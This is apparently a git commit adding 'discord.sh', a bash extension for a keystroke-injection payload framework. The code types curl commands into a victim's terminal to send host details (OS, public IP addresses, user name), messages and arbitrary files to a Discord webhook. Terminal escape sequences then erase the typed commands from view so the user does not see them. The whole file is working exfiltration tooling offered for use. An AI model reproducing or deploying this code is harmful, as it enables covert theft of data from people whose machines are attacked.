Submit Discorde exfiltration extension

2023-07-31 18:56:30 +02:00 · 2023-07-31 18:56:30 +02:00 · 971a981c9f
parent 856579039a
commit 971a981c9f
1 changed files with 86 additions and 0 deletions
--- a/payloads/extensions/discord.sh
+++ b/payloads/extensions/discord.sh
@ -0,0 +1,86 @@
+#!/bin/bash
+#
+# Title:         Discord Extension
+# Description:   Interact with discord webhook to exfiltrate text or files
+# Author:        quentin_lamamy <contact@quentin-lamamy.fr>
+# Version:       1.0
+# Category:      Extension
+# 
+# To use this extension, you need to create a webhook on discord and get the webhook id and token
+# During your setup steps, you need to set the DISCORD_WEBHOOK_ID and DISCORD_WEBHOOK_TOKEN variables
+# DISCORD_WEBHOOK_ID="<DISCORD_WEBHOOK_ID>""
+# DISCORD_WEBHOOK_TOKEN="<DISCORD_WEBHOOK_TOKEN>"
+
+function DISCORD() {
+
+    case $1 in
+
+        # @desc  Initialize the exfiltration session by posting an embed message on discord with host information
+        # @usage DISCORD INIT
+        # @info  This command need a $BB_HOST_* variables (Set by default if you use my OSX extension)
+        "INIT")
+
+            curl_location="https://discord.com/api/webhooks/$DISCORD_WEBHOOK_ID/$DISCORD_WEBHOOK_TOKEN"
+            curl_header="Content-Type: application/json"
+
+            Q STRING "printf '\e7'"
+            Q ENTER
+            Q STRING "curl --location '$curl_location'"
+            Q STRING " --header '$curl_header'"
+            Q STRING " --data '{\"embeds\": [{\"author\": {\"name\": \"New exfiltration session\",\"icon_url\": \"https://cdn-icons-png.flaticon.com/512/2/2235.png\"},\"color\": \"15258703\",\"fields\": [{\"name\":\"OS\",\"value\":\""
+            Q STRING "'\${BB_HOST_OS}'"
+            Q STRING "\",\"inline\":true},{\"name\":\"Public ip\",\"value\":\""
+            Q STRING "'\${BB_HOST_IP_V4}'"
+            Q STRING "\",\"inline\":true},{\"name\":\"Public ip\",\"value\":\""
+            Q STRING "'\${BB_HOST_IP_V6}'"
+            Q STRING "\",\"inline\":true},{\"name\":\"User\",\"value\":\""
+            Q STRING "'\${BB_HOST_USER}'"
+            Q STRING "\",\"inline\":true}]"
+            Q STRING "}]}'"
+            Q ENTER
+            Q STRING "printf '\e8\e[1A\e[0J'"
+            Q ENTER
+
+        ;;
+    
+        "SEND")
+
+            case $2 in
+
+                # @desc  Send a message to discord via webhook
+                # @usage DISCORD SEND MSG $yourMessage
+                "MSG")
+
+                    if [[ "$3" == *"$"* ]]; then
+                        message="'$3'"
+                    else
+                        message=$3
+                    fi
+                    
+                    Q STRING "printf '\e7'"
+                    Q ENTER
+                    Q STRING "curl --location 'https://discord.com/api/webhooks/$DISCORD_WEBHOOK_ID/$DISCORD_WEBHOOK_TOKEN' --header 'Content-Type: application/json' --data '{\"content\": \"$message\"}' && printf '\e[3A\e[K\e[0J'"
+                    Q ENTER
+                    Q STRING "printf '\e8\e[1A\e[0J'"
+                    Q ENTER
+                ;;
+
+                # @desc  Send a file to discord via webhook
+                # @usage DISCORD SEND FILE $yourFilePath
+                "FILE")
+                    Q STRING "printf '\e7'"
+                    Q ENTER                
+                    Q STRING "curl --location 'https://discord.com/api/webhooks/$DISCORD_WEBHOOK_ID/$DISCORD_WEBHOOK_TOKEN' --form '=@\"$3\"' && printf '\e[3A\e[K\e[0J'"
+                    Q ENTER
+                    Q STRING "printf '\e8\e[1A\e[0J'"
+                    Q ENTER                    
+                ;;
+
+            esac
+            
+        ;;
+
+    esac
+}
+
+export -f DISCORD